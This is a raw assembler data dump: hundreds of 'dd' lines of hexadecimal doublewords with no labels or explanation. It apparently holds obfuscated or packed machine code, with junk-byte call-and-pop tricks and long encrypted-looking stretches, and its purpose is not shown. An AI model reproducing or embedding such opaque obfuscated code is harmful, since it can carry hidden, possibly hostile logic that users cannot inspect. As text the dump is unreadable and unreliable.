33060714h, 7278995h, 0FD0FF06h, 280h, 0B8F38B00h, 0 dd 0C00BD68Bh, 36840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 160424h, 56460000h, 0ADD61FC3h, 68C0Fh, 85290000h dd 607138Dh, 1BE9B5FFh, 95FF0607h, 60700BDh, 0CA80C08Bh dd 0F5BD8352h, 6070Fh, 0BD830975h, 6073001h, 50197400h dd 0B8C08B53h, 42Dh, 265D8589h, 9D8D0607h, 609AD0Eh, 585BD3FFh dd 3001BD83h, 74000607h, 0B8535017h, 42Dh, 265D8589h, 9D8D0607h dd 609A9AFh, 585BD3FFh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ch, 1CC35040h, 0E2FF921Fh, 191C3AE0h, 0DE8h dd 0F016F00h, 9FC65BA7h, 0D6612EDh, 0D38B781Dh, 0DA81665Eh dd 0C08BD1FBh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 16h, 0ABC35343h, 830FDBB0h, 6, 850Fh, 85890000h, 60730F5h dd 0EE9C08Bh, 0F8000000h, 5BCA58h, 2 dup(0) dd 5EDE900h, 97800000h, 0FC18E6C4h, 5DB3815Fh, 0C05220FEh dd 26EFBD9Bh, 0B0BC5735h, 8F6DEE27h, 280655C1h, 0C4A2B95Ah dd 62401BF6h, 4325AC90h, 0C884D6A2h, 0D044FEEh, 2EE72B4Eh dd 8C89472Dh, 0EB70A3CFh, 0A81E01C8h, 0A930A820h, 7EC76AC7h dd 3214094Ch, 0B77EC76Bh, 44CD9174h, 61B0F417h, 8193D7FAh dd 0DB36F4DAh, 0B3965D80h, 7D61B4F8h, 0DCA3C695h, 4AC60A2Dh dd 6BAAEE11h, 1206CDF0h, 3980DFA4h, 58160A71h, 0F7BB9EBDh dd 9563411Ah, 39F7DD7Eh, 945B7EDDh, 462BED61h, 0C7AAD6C7h dd 0CB908351h, 4E66DE5h, 897EC7DDh, 0F7D96046h, 7C7EC7DCh dd 579B5639h, 6D799CBFh, 9AC15311h, 3DCDB077h, 0C11DE246h dd 0AB21A299h, 36DDA184h, 0C47A3F25h, 0A0739DC7h, 0EF9EBD57h dd 490E960Ch, 4B4DE194h, 75391CD2h, 1F01889Ch, 0A47EC7B9h dd 54CCB261h, 0C7B8EBCDh, 4A2D707Eh, 0B9AB828Fh, 30E17EC7h dd 51C4082Bh, 8ABEE70Ah, 4A2C6635h, 63B7CE75h, 1F97DE88h dd 0C7ADB698h, 15F83B7Eh, 8BD4h, 0D04FB00h, 69F0684Eh dd 7EC76B87h, 2BE6C90Ch, 0C76B461Eh, 0C19A7C7Eh, 1EB95A9Eh dd 0EA8F57BEh, 6D903F28h, 82D1A6AEh, 0EA116648h, 0DE88299Bh dd 1F0h, 10041700h, 30E4284Bh, 81DA36F4h, 0C0A2975Eh, 457EC76Bh dd 0AF6D5302h, 37C5F863h, 50DD4F1h, 8ED28D70h, 33F1D784h dd 92597CDFh, 63B0F4AFh, 8191D5F8h, 5A8EB7DAh, 15AB965h dd 7C430B52h, 0BE972A2h, 0A987D43Dh, 72B26321h, 0C81009EBh dd 9C4B8E7Eh, 6ACFB279h, 274A1104h, 0B2A96B29h, 21E5C88Fh dd 14568F3h, 0E0244714h, 0B9042734h, 0BA3165Eh, 2B5F7037h dd 0D18A8A54h, 0C737B22h, 0A4B75A18h, 0D85537BEh, 97DA7EC7h dd 3625F0B4h, 0D4878A58h, 0CDEEB3B1h, 6ED99CDFh, 47F665AFh dd 0EB70A064h, 492EDCC8h, 87EDE3B2h, 0A66BDEh, 51F7E1F9h dd 99ACEDD0h, 0D3000000h, 274A1104h, 0B2E2DE3h, 0D18E49C7h dd 41199052h, 468AAD5Ch, 416A8DCEh, 0A2E9B60Dh, 0DC39E5DAh dd 0D5590CFBh, 46F52EB0h, 0E07B9A68h, 0F01BFBDh, 2EAC8E15h dd 0EE317EC8h, 5EFD133Fh, 0CD91743Bh, 7F31645h, 40FE6259h dd 0E9CB52D2h, 6E7EC82Dh, 92597C2Bh, 0CAADAE66h, 87F46A2Bh dd 5E21DEh, 4A480000h, 112C7085h, 6649BAECh, 0C5E873A2h dd 0A6C99281h, 0E630AE62h, 5FA3C675h, 0BE85A8B3h, 0B4D78492h dd 16453AA8h, 0F025E305h, 88D33F6Bh, 74AE15A5h, 6DDCBAA1h dd 654B1004h, 6B8466EDh, 0C6097EC7h, 0E2990193h, 0D3B612D3h dd 0FE340B18h, 7A5C7EC7h, 1E87FE05h, 104DE88h, 2B000000h dd 694F0C04h, 6B886AF1h, 0CA0D7EC7h, 702E2CE7h, 10D4B7A4h dd 2B375A01h, 560511CFh, 9073E82Ah, 0E7A5BB00h, 0FA61AF2Fh dd 7E61284Bh, 1F0556BAh, 88ABB061h, 0E068DEC1h, 8A6DEE22h dd 0E9CF170Ah, 4C19AC71h, 0BE68E7C8h, 3DC74EDBh, 0FDC478C0h dd 76FDFDD3h, 78C14794h, 49A3D619h, 9382AEBCh, 2FDEA5C8h dd 0D2898B49h, 21F034EFh, 838E5C3Ah, 88381AA1h, 7ABD78C0h dd 0ECAAA8CBh, 0C7543724h, 78C087EFh, 6BB70C40h, 4FD7B5A6h dd 0F6D98291h, 12FFDF32h, 0B05F2649h, 16C8498Dh, 3E3C5FFCh dd 0C087D5B7h, 68175A78h, 0CFD796B9h, 78E32EE8h, 0B1931A92h dd 3678C088h, 0E4DC7F3h, 0CB4124EBh, 8F946322h, 12628E4h dd 484F0000h, 9C2309D1h, 78C07021h, 3C80A3E6h, 530809D5h dd 19F8C6A4h, 36DB1F42h, 137A3F25h, 0E077F256h, 23058C72h dd 0A878BFEBh, 8C78265h, 0E0A5BB00h, 3BDA1E07h, 56051114h dd 1100C4A7h, 6DA6644Ah, 2104CBEEh, 248302ABh, 3C08E490h dd 2F000000h, 260CD048h, 0C76B9D9Fh, 0FC1F62FEh, 0C76C0DEFh dd 0BC0395FEh, 69AAE3A8h, 0A6D98292h, 0C8ABAA46h, 260CD048h dd 1AB7E9AEh, 8689E72Ch, 941416A3h, 96D97EC7h, 9A32B8h dd 48CF0000h, 9C2309D1h, 78BF8BB1h, 0FE5DB676h, 426514DBh dd 6A4813FEh, 0A769759Ch, 1BCA91B4h, 2C35FAF8h, 7DC7CD1Dh dd 6338C5A8h, 0B478BF98h, 32DF3B80h, 58C14B29h, 96159C82h dd 5272AFCFh, 617153DAh, 0B3F672B0h, 0ED1053D0h, 35BC68A9h dd 72B06153h, 28AF95D8h, 72B06146h, 0B6D988CBh, 98BBA072h dd 7B9EBD54h, 4788EF81h, 0A3FBADEh, 0BCB05F28h, 68F1694Eh dd 0C645CCB2h, 826CA02Ah, 0E90C4FC4h, 7FC23F22h, 1AA119A1h dd 6CA0BC38h, 0DCC19A76h, 0B5A66D99h, 83E8CB92h, 0F8C0854Ah dd 1C81BBA1h, 7AA0B939h, 0C18E0D94h, 8B4B78B7h, 89A3D685h dd 0C2F06AB0h, 0DF2346F5h, 0F665AC32h, 30E00CD3h, 9241082Bh dd 3724EEACh, 9856DE54h, 37FBDE7Dh, 4BD24ADAh, 78B84969h dd 0D4B6ABEEh, 5978B848h, 37446716h, 0BAF2AAABh, 0E531864Eh dd 0C9512F2Ch, 2E510A0Bh, 51C08467h, 0B2D5868Dh, 952BFEBh dd 1FF3375Ah, 580754BFh, 0C4BB2935h, 8664F71Ah, 0DF0259B8h dd 6CEF23E1h, 239F8249h, 3, 41520C0h, 0E1254813h, 0C4082B30h dd 0A5E90C4Fh, 83C7EA71h, 62A6C992h, 4185A8B3h, 23678AD1h dd 74B6EEDh, 2A2B4E0Dh, 81E18951h, 4C1h, 4BB5300h, 29000000h dd 0C875BD9h, 4D685C24h, 89000057h, 8368243Ch, 8900004Eh dd 5150241Ch, 0A00872B9h, 59C88925h, 0AF3F0EBFh, 58C73123h dd 4EC81h, 24890000h, 24048124h, 4, 0FD89555Bh, 8B086B89h dd 0C483242Ch, 2434FF04h, 4C4835Bh, 51243C8Bh, 0C181E189h dd 4, 4C181h, 0C870000h, 0BE95C24h, 23FFF83Eh, 2266B130h dd 0B8812ECBh, 60F3CEAh, 0E0FFC503h, 0BD6AA87h, 2763442Ah dd 5CA4582Fh, 9C69CFAh, 2EFF10F7h, 39D901BFh, 562E0F19h dd 62BFA440h, 5DA834CDh, 5BB11191h, 4FFA2965h, 4F78F8B0h dd 1FADFCB5h, 2C461028h, 1EF49F2Eh, 4CADC3C0h, 3F57631Ah dd 5F196F28h, 27A45CEDh, 752E55B5h, 2E067B43h, 1EE24567h dd 37506967h, 10E0555Bh, 24EC86h, 3ECB8D8Dh, 0B589060Fh dd 6071CBDh, 6798D89h, 6A0607h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 8166A4C3h, 0E89FFDE6h dd 12h, 0A2718F64h, 925E6C2Bh, 0B0665FE8h, 0E26A0BCCh dd 0C58A805Dh, 85C7F55Ah, 6072CE5h, 5D74h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2FC35646h, 1709120Eh dd 89600C5Ah, 71A7D85h, 0BE806h, 8DD80000h, 46AE4900h dd 4D103B85h, 5BC88AB0h, 585C761h, 6072Dh, 0E8000000h dd 6, 0E433BDF8h, 6660BFE7h, 0BD01F98Bh, 60732C9h, 0B5FF5B61h dd 60711C5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 2DC35040h, 248539CFh, 0BF0FB77Fh, 0BD95FFC1h, 0F060700h dd 18Ch, 6AFC00h, 16B595FFh, 0C08B0607h, 6F692CEBh, 2DA69D58h dd 8C87FEA9h, 761A8E29h, 58139D9Fh, 0EA1BA201h, 0B531B021h dd 6BCFEFFFh, 6116B1C0h, 3B008F8Dh, 0F1D7A00Dh, 10E829C4h dd 0F6000000h, 49C411CCh, 0D5ECA69Ah, 811F61F8h, 0BFEA4169h dd 6371D92Fh, 0EAF0805Ah, 69EBC281h, 9E90000h, 0AA000000h dd 0A3AD7E6Dh, 6DECDE80h, 6BFD92BBh, 0C4F38132h, 8B326BE7h dd 72BD98Dh, 6632FF06h, 0D489F781h, 3810F5Eh, 80000000h dd 0F6814FCDh, 18043EE4h, 81CB8B66h, 25FA9FF6h, 74D8801Dh dd 8D3BF681h, 8D8B0E06h, 6073025h, 0BD893289h, 6071FC9h dd 2904EA83h, 71F3D85h, 1EB8106h, 0F000000h, 0FFFFB485h dd 952B60FFh, 60702E5h, 370F33BAh, 8D8D6164h, 60F4053h dd 21958B60h, 8B060722h, 715F98Dh, 8D896106h, 6070679h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0DFC35747h dd 52C7F511h, 0B86D94D0h, 0E99D8B6Eh, 66060714h, 85C7D18Bh dd 6072CE5h, 73BCh, 7B465CBAh, 85C7F804h, 6072D05h, 0 dd 5F19589h, 0B5FF0607h, 60732C5h, 7E8h, 0D8679E00h, 0E03A0CD4h dd 1FD3BDBAh, 95FF586Fh, 60700BDh, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ah, 0B4C35242h, 626CAF55h, 858988B0h dd 607042Dh, 2FB99589h, 6A0607h, 16B595FFh, 0C08B0607h dd 75985CEBh, 0E03841A7h, 755481F0h, 0C5A3203Bh, 50844BDFh dd 0EAB91BE7h, 0C5010517h, 8AE43885h, 0C8AB1049h, 18F9AE72h dd 0C6D21F5Ch, 1A81BEE0h, 490E743Fh, 1B306D7Ch, 4651D700h dd 150AC1F6h, 992D563Ch, 0C611BE70h, 650F2F65h, 0CD10BB2Eh dd 98AA4E1h, 0D7F8FBBFh, 60405679h, 0EB2D99h, 3CFE9h, 358BF00h dd 9EBD5725h, 3D1EF2C0h, 0DA81915Fh, 74E72EFCh, 6671FB96h dd 0CEACAFh, 99674516h, 3503E17Ah, 0CFA17FDCh, 0AB8264EBh dd 2D0784D6h, 4B10048Eh, 0B3719F6Dh, 4B401BF5h, 7EC76B69h dd 0CEF16AA7h, 0F9DF2207h, 0C76B9072h, 23D2157Eh, 0C09B7745h dd 62F91CDAh, 0DA3B097Fh, 4563FDh, 0BA69150Ch, 54070EDCh dd 2329EE76h, 2CDFC026h, 191C5C32h, 0E49F7CE6h, 440B2E2Dh dd 0B2A96995h, 500B0BCFh, 686FA472h, 46ECE175h, 3AC1A700h dd 7EC80C58h, 0DEB9ADDh, 0AB89D23Fh, 0B967DA14h, 5D3E1C78h dd 3C1A7B4h, 0AF6A4D0Eh, 91B4A76Bh, 0F4CC6A2h, 6CB2A731h dd 0CD54FF86h, 569972B1h, 95502633h, 42DE72B2h, 38C2AB7Dh dd 0C5F89E6Dh, 2FBD665Ch, 0CD5D4031h, 423451F6h, 551AEA9Dh dd 0E47D0BBCh, 0E52609BAh, 103h, 4A11040Ch, 74FBDF27h dd 7EC76BCEh, 61A5C80Bh, 0C5ABB0h, 0A0A97FC8h, 0C192C52Ah dd 0CF5AA01Dh, 0DA62D8BBh, 7E61FA1Ch, 1E0457BAh, 0C7AAB160h dd 0CD150C0Ch, 5B8160E7h, 3EFE78C1h, 500B08D6h, 0DC3A7EA1h dd 0FE21D07Fh, 41C85CBAh, 78C1335Fh, 0CFF2A1E4h, 0B2D5868Bh dd 457BFEBh, 0A51A22E1h, 2F9402F6h, 0C19A7B39h, 30F4D79Eh dd 4714FDE1h, 0D0AE5D24h, 250BD346h, 0BA42D79Eh, 82945472h dd 86442AD9h, 2FEACD8Eh, 4B312AEBh, 0EDD3888Dh, 0BA238466h dd 0E3C60972h, 0E5769F6Dh, 35FFC4C2h, 0E80DD67Dh, 150D8D70h dd 0D062E9CFh, 0D572BA21h, 6E2CB492h, 16F87FA5h, 9B72BA23h dd 0BF86A958h, 1DC55CDCh, 0C19A7937h, 0E2D960DEh, 9F6CB32Eh dd 20F5395Ch, 868F5D3Bh, 0AEB2B2D5h, 0EB8B0AF2h, 72A5E940h dd 2FC07421h, 0B197466Ch, 0B2B59C2Ah, 7856996Ch, 12F06BAAh dd 0A98B128Ah, 2E6CB2B7h, 48A308EBh, 9C2309D1h, 78C074A1h dd 2002366h, 4FD4B23Dh, 0BB9E3FC9h, 63411AF7h, 0A0B8AD84h dd 43198C7Ch, 7978C024h, 5DE5C398h, 247C5EE5h, 0BE0178C0h dd 0DDFA17DBh, 0A40D913Ch, 745A09CBh, 0D1FD5EB6h, 7B361942h dd 5E81DA37h, 2BEBA99Fh, 2DB5BCACh, 0E79689D1h, 190F7404h dd 92381AA1h, 7ABD78BFh, 1D3ED397h, 8AEF963Fh, 289CE490h dd 0C3000000h, 2309D148h, 0C07FBD9Ch, 0D4F73A78h, 0FCDA8190h dd 9375FC74h, 1878C057h, 0CA39A2D5h, 86763F18h, 1227A3h dd 4C40000h, 0E62A4D0Eh, 9072F92Bh, 157EC76Bh, 0D64523D2h dd 6F4D0E04h, 0BA41B99Dh, 7EC76AD8h, 0B9371A5Dh, 0C76B5432h dd 6B8ED17Eh, 4E71EA27h, 2FEFD442h, 6AE6C44Bh, 20637EC7h dd 6AD1B33Ah, 13567EC7h, 0B9A26F2Dh, 0A3074B96h, 10DEB5E0h dd 3A087E61h, 0E09E84D7h, 15FB2734h, 795C2346h, 10126903h dd 29h, 4BD24AADh, 7EC76B69h, 6B8466EDh, 0C6097EC7h, 0A0729EE1h dd 0EED198BBh, 5174E72Ah, 0AAD3040Dh, 0EA7A8BE8h, 702200AFh dd 48130465h, 2B30E125h, 0C4FC408h, 0EA71A5E9h, 0C99283C7h dd 0A8B362A6h, 8AD14185h, 6EED2367h, 4E0D074Bh, 89502A2Bh dd 405E0h, 0E8830000h, 24043304h, 33240431h, 525C2404h dd 0C281E289h, 4, 8704EA83h, 895C2414h, 8952241Ch, 4C281E2h dd 83000000h, 148704EAh, 34895C24h, 40BB6824h, 1C8B060Fh dd 4C48124h, 68000000h, 5DAAh, 81242489h, 42404h, 835E0000h dd 1C8904ECh, 8468F24h, 5324348Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 34FF5C24h, 0C4815B24h, 4, 0F836F1E9h, 0D2643AFFh dd 65F30FADh, 1B12E08Ah, 7076053Ah, 0F43F4B8h, 0FFC50306h dd 1F261DE0h, 16C3B313h, 0E0681A3Ah, 9C5E1935h, 7A31D553h dd 2E5BC31Ah, 0B516B418h, 2ACF1A75h, 0C4337475h, 456E7B22h dd 0A563A979h, 938AC3Bh, 0DD823F73h, 12C0564Ch, 5EC5BE73h dd 0DA8C3F4Fh, 0F99E0840h, 0F59B022h, 30BFCBBFh, 0F68D8C6h dd 218Ah, 8D0F6000h, 0 dd 13E8h, 63B50D00h, 847EB233h, 0D74CE6E5h, 0B293A1FDh dd 183F79Eh, 0E8F8615Eh, 0Dh, 65B218FFh, 49155953h, 4D535969h dd 0D3B70FC1h, 850F565Eh, 6, 8C0Fh, 0E9580000h, 7, 32CF400Bh dd 66367ED4h, 0FC94A3B9h, 13E9h, 1C8D1C00h, 0BEAC92DAh dd 0E98A8435h, 0DF25C916h, 801BB06Bh, 1A6ABB66h, 0E8B8E880h dd 0Ah, 0DC4A16B8h, 0B841483h, 0EE8A80C2h, 0FDE8A5Fh, 989h dd 8B666000h, 75BE66C1h, 0D68B617Eh, 0E9F1BF0Fh, 0Ah, 88D508Ah dd 0D43BB9AAh, 8B6678C1h, 810F53D0h, 2, 0E85F6160h, 0Fh dd 30203243h, 2F61E8F4h, 46D7CF0Bh, 0E8BE92ACh, 12h, 750B8DA5h dd 821620A8h, 0E7011776h, 522FF2F2h, 61607888h, 0B0515B5Eh dd 816659EBh, 0B4A175EBh, 0FD68B7Bh, 9E8DABFh, 2000000h dd 74D2D5CEh, 64B98D33h, 0AE957h, 80ED0000h, 0BF6ED938h dd 439751B6h, 0FF55E59h, 68Bh, 8BE28100h, 0F64E8BFh, 11E9D3B7h dd 0B4000000h, 0C5D9B1ADh, 0D6D9D0EDh, 0BF9962B7h, 5CF5244Bh dd 9E9C7B7h, 6A000000h, 0A2C70555h, 78121731h, 0AE9h, 0B7ECC800h dd 0C429D2A8h, 804C94A1h, 70B06DEAh, 5800Fh, 81660000h dd 661C7BE3h, 6676EDB8h, 0F304CBBh, 188Bh, 13E900h, 50910000h dd 5E9A11AAh, 0B6E4D4B0h, 4E27B318h, 1255371h, 66F18AE5h dd 0E987AAB9h, 8, 64A7D2E6h, 4A26AE69h, 0D88B28B3h, 0E9F6BF0Fh dd 0Fh, 0DD9E18DBh, 0BCF94A75h, 0D28985h, 66724824h, 0F9EF36BEh dd 3870F60h, 0F000000h, 6661F1B7h, 0B966F88Bh, 0F8F8144Bh dd 0B62964BEh, 8199B561h, 0CDA14CDFh, 13E85Dh, 0FD1C0000h dd 1A520168h, 9BA886A2h, 0E5E5DD4Eh, 3F45E57Dh, 0C2816609h dd 0B95E361Ch, 76E9DEA7h, 800FF5FCh, 15h, 0F8F0Fh, 0AE90000h dd 1D000000h, 0B415F270h, 0ED8F9044h, 739EBEC2h, 860F036Bh dd 0 dd 28C0F60h, 8B000000h, 8E8DEh, 64E70000h, 2F16C7A9h, 0EE8C1B6h dd 0B000000h, 35E21251h, 59195690h, 1BEDDE23h, 61585E2Fh dd 58D0F60h, 0B8000000h, 1CDB3A6h, 0C820Fh, 7E90000h, 82000000h dd 322CA78Ah, 0F61EBC3h, 0BF0FC7BFh, 0F8B866D3h, 8C0F55h dd 8B000000h, 0DE9F3h, 63CC0000h, 923594B8h, 8514428Dh dd 8BE4ED91h, 7BD281FBh, 0F1A3E7Bh, 0EF81C1BFh, 0BDCB03Bh dd 8166F38Bh, 0F990DCCBh, 58C0Fh, 81660000h, 0F82D71EFh dd 0D081F18Bh, 5EA588CAh, 0E890FF9h, 0E9000000h, 9, 40243845h dd 0A518682Eh, 0FED980AAh, 0BE9h, 8F60A600h, 4DB3FE3Dh dd 676EF121h, 0FC38B66h, 389h, 0C28B6600h, 58D0Fh, 81660000h dd 0FF5B7C3h, 286h, 604FB200h, 7E9h, 0D7B73100h, 1B8A4EBEh dd 61D0BF0Fh, 3840Fh, 8B660000h, 0F98B66F8h, 810F60h, 8B000000h dd 605661F9h, 81C28B66h, 0B119DDE7h, 81586127h, 974F37E9h dd 48F28149h, 0FC08E6C1h, 0B70FB9B0h, 0FFB8BD6h, 0B81h dd 5E800h, 0E5A80000h, 5804E382h, 8A6050F5h, 0CEBE66DEh dd 0E958612Fh, 0Bh, 0CD298D23h, 0CD3D6C60h, 0E9D863ACh dd 0Ah, 0DB989C6Ah, 0C6A62466h, 8BF8C07Ch, 3830FC7h, 66000000h dd 0F280D98Bh, 0BE852h, 0D23A0000h, 0D666ADD3h, 2B81D1F6h dd 0C8B70F45h, 0CE95Fh, 934A0000h, 0A25CCD6Dh, 3CEABC68h dd 0B70F1D3Dh, 0FC66B3F3h, 108C0Fh, 0BE90000h, 67000000h dd 0D6868890h, 96FFE6D6h, 0DE9E0E5h, 0BA000000h, 0A683E6A2h dd 7B3E3B3Bh, 5E97867Bh, 0AE8h, 5FE4EB00h, 1473BE42h, 8BE48D74h dd 32B05EF7h, 70A3B966h, 27BFE981h, 0C28B560Ah, 0DAA086BBh dd 0EB4DBA5Ch, 840F5550h, 17h, 12E9h, 0C44CCD00h, 226F139Ah dd 620DBD7Ah, 83A65B47h, 0E95802E6h, 8, 46C84F54h, 0CDC1438Fh dd 0F6FFB966h, 115CB866h, 0F8F9F081h, 8B6600C4h, 0C38B66DFh dd 8389EE81h, 0FF85E72h, 8Fh, 0F8D78B00h, 20EB8166h, 8166F97Ah dd 81F69ED9h, 1747A5CAh, 34F38110h, 0BA53114Dh, 0CF393Bh dd 880FE28Ah, 5, 74DA8166h, 0C797BA3Bh, 8060455Ch, 81602ED0h dd 0D72629E3h, 0DFE28148h, 610D75E2h, 0FE961h, 0AA240000h dd 0D97B447Dh, 0B1E9FFDFh, 3AD8ED5Dh, 68D0FA4h, 0F000000h dd 8Dh, 0EE800h, 61FA0000h, 0D7574409h, 7257B9DEh, 0E172CDD3h dd 505A74B6h, 0CE8h, 0F8E15900h, 0F324B9CDh, 2BDAA768h dd 0FFBF0F04h, 870F5E5Bh, 5, 343F2BBFh, 0E95A563Ah, 0Ah dd 26786617h, 1BB755ECh, 0F18B8CA9h, 74F08166h, 0E9D78B79h dd 0Dh, 25B61B8Eh, 64595076h, 0DC495EBh, 0ECB86603h, 5E9F565h dd 5D000000h, 2796B96h, 0DF4649B9h, 0C124B94Fh, 5E86F6Bh dd 7C000000h, 2B47F2DAh, 8E9h, 4A8C1200h, 0A8898B6Ah, 5B45BC4h dd 0FFB8B66h, 385h, 0C0BF0F00h, 0BE2DCA80h, 4DB3ABFAh dd 9CEEBB66h, 0E1483ABAh, 0E8F78B64h, 8, 8B471274h, 7B1AC5F4h dd 0F505BF9h, 689h, 8E0F00h, 5F000000h, 8168F480h, 97018FD2h dd 50DA8148h, 0E938A319h, 0Ah, 6BB49232h, 0C1CC46F7h, 0F9FC4C80h dd 0C1E078BBh, 5810F3Ah, 0BB000000h, 1FF2E537h, 38D0Fh dd 8B660000h, 837FBAD6h, 0F603DB8h, 38Ah, 0D8BF0F00h, 68B0Fh dd 8E0F0000h, 0 dd 0D0BF0F61h, 8AF8BF0Fh, 12E9C8h, 26950000h, 8A5701E7h dd 8E95557Ah, 0C1DB09CEh, 0D59C3D35h, 0FF9AEB0h, 58Dh dd 32BBA00h, 23B54941h, 0FED78166h, 0C3BF66A0h, 0A6BAF5EFh dd 6658ECA6h, 0E8FCC68Bh, 14h, 0EF489720h, 0D055C73Eh dd 905D7291h, 0D2F0BBCEh, 0E442BD41h, 63C38166h, 0FDB559FDh dd 6E9h, 3967F500h, 60FF64ADh, 396CBE66h, 0BA6185B6h, 7E31646Eh dd 81C9BF0Fh, 0E274AF3h, 2890F6Ah, 8B000000h, 14DE81C7h dd 0E93879A1h, 0Fh, 0D4E6BDBDh, 0AC4BC82h, 0EF3B6A1Ah dd 8105F44Bh, 0BE3020F2h, 6680B75Eh, 0D1B6C681h, 0D88166FCh dd 8166F289h, 0E9572AE1h, 5, 81207C2h, 14E9E9h, 320E0000h dd 0B8B8F71Dh, 0BE668513h, 0B8B5C0CFh, 83E58B66h, 0CB816AAFh dd 10302F65h, 58D38B56h, 0D0F28166h, 14E9C1h, 37480000h dd 231C84C7h, 59446B73h, 32E29120h, 38A6AEE9h, 0C28B058Fh dd 108B0Fh, 830F0000h, 0Ah, 5E9h, 0D15E9D00h, 0B70F10B9h dd 0B966F8D3h, 0E0815B12h, 3ED39892h, 3800Fh, 0BF0F0000h dd 0E95953F6h, 0Fh, 0C5188872h, 0EEA4C5A6h, 2C273152h dd 6059F1B2h, 13E78166h, 71F781D7h, 6118AC29h, 24CBBE66h dd 0FA8BFA8Bh, 0E905E780h, 7, 2871F593h, 6676D58Ah, 0F28BD88Bh dd 60CFBF0Fh, 2302E181h, 20B4602Bh, 22B86661h, 0BE967h dd 28A50000h, 6333227Eh, 1FFEF111h, 13B85044h, 5F6BC45Ah dd 10E9h, 6D1CCE00h, 0A5E459D0h, 31A16BFEh, 34B337D4h dd 9FD0817Bh, 56148DCFh, 0FE8h, 7B0A0700h, 98F35457h, 53951878h dd 97F9609h, 0D4DA8166h, 0F58580Bh, 1A86h, 12E800h, 0BED10000h dd 7A65A380h, 0A37A3086h, 0CF12FA7h, 8B604221h, 0F586160h dd 185h, 840FF900h, 9, 38C0Fh, 8B660000h, 0F9B70FC7h, 12E860F8h dd 0FF000000h, 0BEEA36D7h, 4E9AE16Bh, 638A266Eh, 0AB359F5Eh dd 0CED580BFh, 6E8605Fh, 0E5000000h, 9D6ACCE1h, 0BA665FF0h dd 6161E2AEh, 62B2F5F8h, 3C21B866h, 66C2E480h, 2D4BE681h dd 86F360BEh, 13E812h, 18BA0000h, 8C91A267h, 5CB2B913h dd 0B80E75B9h, 31DA9599h, 11E9BFh, 19220000h, 6993060Dh dd 0F1AFD033h, 0EFD0F38Ch, 58EAFDD6h, 0B3F2B70Fh, 0FE8B665Ch dd 0C181D5B2h, 3039A93Dh, 880F02B1h, 3, 60C7B70Fh, 0FE8ADC8Ah dd 66FA8B61h, 0F555F5BBh, 3D5B9FBAh, 108B0F6Dh, 0E8000000h dd 6, 41CDF0DCh, 0B866A0E6h, 0B35F27B0h, 890FF2h, 8B000000h dd 0D18166F8h, 66600349h, 0E936C2BAh, 11h, 0B0024EA6h dd 0DE908DE8h, 7395387Ch, 53D02735h, 0F60611Ah, 28Ch, 8B616000h dd 816661C8h, 663F8BC3h, 579DF5BAh, 5EF6BF0Fh, 5E960h dd 0EA2B0000h, 614CADD1h, 8BD98B66h, 0CE8DAh, 98E70000h dd 9FE34B3Ch, 0FFFA6720h, 860FE45Ah, 0 dd 0CE86058h, 0FF000000h, 0F5C19BB1h, 0FD8F20F7h, 6626DD29h dd 0E95BD78Bh, 5, 0CD167531h, 0D38A6117h, 9E8D5B3h, 14000000h dd 0B4DC75D7h, 0A56F8C4Dh, 59D38B66h, 0F14E280h, 58Fh dd 0DF816600h, 0FB8BE11Fh, 8BD68B66h, 0DE8BF8D1h, 9256BA66h dd 12E9h, 257DA500h, 0D8094D0Bh, 3CDF60D6h, 0D318D640h dd 0B48D2F53h, 28D0F65h, 8A000000h, 8F0F60C5h, 2, 0BB6637B5h dd 0F616670h, 682h, 6BD18100h, 813A800Eh, 0B1FFFDE0h, 0F2816617h dd 0FCFC30E9h, 6E9h, 0A965A00h, 0B620CA24h, 30EB8152h dd 604755F6h, 6196B0F8h, 0F88B6660h, 71B7F7BFh, 0DE9612Ah dd 5C000000h, 3A63863Fh, 56FB4DBDh, 0F1F35B22h, 0E800Fh dd 9E90000h, 51000000h, 98F1E345h, 0E4F6A16h, 11E9h, 0BE575500h dd 55CF79CEh, 9C5B5588h, 34BB029Bh, 8B6645C3h, 8850FD9h dd 53000000h, 870Fh, 0E95B0000h, 14h, 0FD01CD30h, 986EE83Bh dd 33F5E5EDh, 0A83C07BCh, 1480B9E1h, 1850Fh, 0B8FC0000h dd 5F38E71Eh, 0BE9FE8Bh, 5A000000h, 55DD3E45h, 1C9FAFDEh dd 0D080AC8Ch, 0E9816693h, 860F0D37h, 0Dh, 5E8h, 0FD135000h dd 0F18A2085h, 608BB55Fh, 97F78166h, 8B6652D3h, 0F8615AF0h dd 0EBF1BF66h, 0C18B6660h, 61D6BF0Fh, 0C5BE6660h, 61F38B12h dd 14E9h, 1B101900h, 5111C320h, 0AE201038h, 0FC30B83Fh dd 0C46BF375h, 0F181668Bh, 13E91929h, 87000000h, 807C064Ch dd 1B53BFF1h, 0B6D34D05h, 6F976D0Dh, 6060F446h, 61DEBF0Fh dd 0E8D08B61h, 11h, 22B8B18Ah, 511591DDh, 4982DBF4h, 4273CC18h dd 0FED7808Ah, 8E859h, 88F10000h, 89D623D1h, 0CE8B760Dh dd 0A6BEF95Eh, 0F28939Bh, 58Fh, 0BF0F5300h, 6E859F0h, 0E7000000h dd 2F7D1792h, 0F2B70F17h, 0B8DF8B58h, 2F6D9455h, 52F56EB5h dd 6840Fh, 0C7810000h, 21CCFA25h, 0C68B665Bh, 0BB59F957h dd 67170E9Ch, 59CAB866h, 0BF0F5352h, 665958F6h, 0AE4BD381h dd 9FDA8166h, 2890F19h, 8A000000h, 12E9F3h, 52370000h dd 0A0C4A2A0h, 40D9B2E4h, 0B4E9F88Dh, 5BF51D38h, 0EE950h dd 686A0000h, 5777A9B4h, 4841D7B0h, 0A9A324E9h, 0DEB70F5Bh dd 5744C3B8h, 7830F4Bh, 56000000h, 0ECE88166h, 0E8815981h dd 19E33D0Fh, 0FCF6CC80h, 0E8F28B66h, 10h, 11B28C7Ah, 645F3632h dd 0C370B4A1h, 0ECC70F21h, 5BCF8B66h, 0F0C7B866h, 323DB866h dd 